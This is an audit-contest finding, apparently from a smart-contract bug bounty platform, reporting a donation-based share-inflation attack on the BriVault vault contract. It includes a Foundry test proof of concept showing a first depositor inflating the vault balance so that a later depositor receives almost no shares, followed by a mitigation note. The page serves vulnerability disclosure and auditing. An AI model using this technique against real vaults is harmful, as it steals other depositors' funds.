BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can Inflate pool via direct deposits

Root + Impact

Description

If extra tokens are sent directly to the contract (bypassing deposit), they increase balanceOf(address(this)) without minting shares. This inflates finalizedVaultAsset, giving winners extra funds (donation effect).

Risk

Likelihood:

  • When the attacker is the first depositor, this attack can happen

  • The attacker can donte without using the deposit() function and inflate the pool

Impact:

  • All users depositing after the attacker's donation receive drastically reduced shares due to share price inflation, effectively losing their entire stake to the attacker upon withdrawal.

Proof of Concept

function test_AttackerInflates() public{
uint user1InitialDeposit = 0.0004 ether; //4e14
uint user1Donation = 19 ether;
uint user2InitialDeposit = 0.0004 ether;
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
//Attacker deposits a small amount
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint).max);
uint256 user1Shares = briVault.deposit(user1InitialDeposit, user1);
briVault.joinEvent(10);
vm.stopPrank();
console.log("=======================================");
console.log("User1 shares after first deposit: ", user1Shares); //394_000_000_000_000
console.log("Balance of the vault: ", mockToken.balanceOf(address(briVault))); //394_000_000_000_000
console.log("=======================================");
//DONATION
vm.startPrank(user1);
IERC20(mockToken).transfer(address(briVault), user1Donation);
console.log("User1 shares after Donation: ", user1Shares); //394_000_000_000_000
console.log("Balance of the vault after Donation: ", mockToken.balanceOf(address(briVault))); //19_000_394_000_000_000_000
console.log("=======================================");
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint).max);
uint256 user2Shares = briVault.deposit(user2InitialDeposit, user2);
briVault.joinEvent(10);
vm.stopPrank();
//user2 will get a lot less share. without the inflation, user2 should have 394_000_000_000_000 shares, but has only 8_170_146_366
console.log("User1 shares after user2 deposits: ", user1Shares); //394_000_000_000_000
console.log("User2 shares after user2 deposits: ", user2Shares); //8_170_146_366
console.log("Balance of the vault after user2 deposits: ", mockToken.balanceOf(address(briVault))); //19_000_788_000_000_000_000
console.log("=======================================");
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
console.log("Finalized Vault Assets: ", briVault.finalizedVaultAsset()); //19_000_788_000_000_000_000
console.log("=======================================");
vm.stopPrank();
console.log("User1 shares: ", user1Shares); //394_000_000_000_000
console.log("User2 shares: ", user2Shares); //8_170_146_366
console.log("=======================================");
assert(user1Shares > user2Shares);
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
briVault.withdraw();
vm.stopPrank();
console.log("Balance of user1: ", mockToken.balanceOf(user1)); //19_999_994_000_000_021_146
console.log("Balance of user2: ", mockToken.balanceOf(user2)); //19_999_993_999_999_978_853
uint finalBalanceUser1 = mockToken.balanceOf(user1);
uint finalBalanceUser2 = mockToken.balanceOf(user2);
vm.assertGt(finalBalanceUser1, finalBalanceUser2);
}

Recommended Mitigation

Use virtual shares/assets in ERC4626 style to account only for deposited amounts

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!